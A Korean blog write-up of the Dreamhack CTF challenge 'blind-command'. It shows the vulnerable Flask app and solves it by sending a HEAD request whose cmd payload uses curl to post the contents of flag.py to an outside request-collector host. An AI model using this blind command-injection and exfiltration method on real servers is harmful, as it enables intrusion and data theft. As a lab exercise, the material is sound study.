본문 바로가기

웹해킹

드림핵 blind-command 롸업

<문제>

Read the flag file XD

 

#!/usr/bin/env python3
from flask import Flask, request
import os

app = Flask(__name__)

@app.route('/' , methods=['GET'])
def index():
    cmd = request.args.get('cmd', '')
    if not cmd:
        return "?cmd=[cmd]"

    if request.method == 'GET':
        ''
    else:
        os.system(cmd)
    return cmd

app.run(host='0.0.0.0', port=8000)

구성 코드가 상당히 짧다.

 

GET이 아니라 다른 방식으로 요청을 보내면 system 명령어를 사용해 cat flag.py로 플래그를 얻을 수 있다.

HEAD방식으로 요청을 보내기 위해서 Burp Suite를 사용한다.

HEAD /?cmd=curl+https%3a//ngxnosv.request.dreamhack.games/+-d+"$(cat+flag.py)" HTTP/1.1

드림핵 tools에서 flag.py를 전송받을 주소를 하나 만들어주고

curl 명령어로 전송해준다.

 

Burp Suite에서 이렇게 요청을 변조해서 전송하면 드림핵 tools에서 만든 주소로 flag가 오는 것을 확인할 수 있다.

'웹해킹' 카테고리의 다른 글

드림핵 XSS Filtering Bypass 롸업  (0) 2023.11.21
XSS Filtering Bypass  (0) 2023.11.20
드림핵 Carve Party 롸업  (0) 2023.11.05
드림핵 web-ssrf 롸업  (0) 2023.11.05
ServerSide: SSRF  (0) 2023.11.05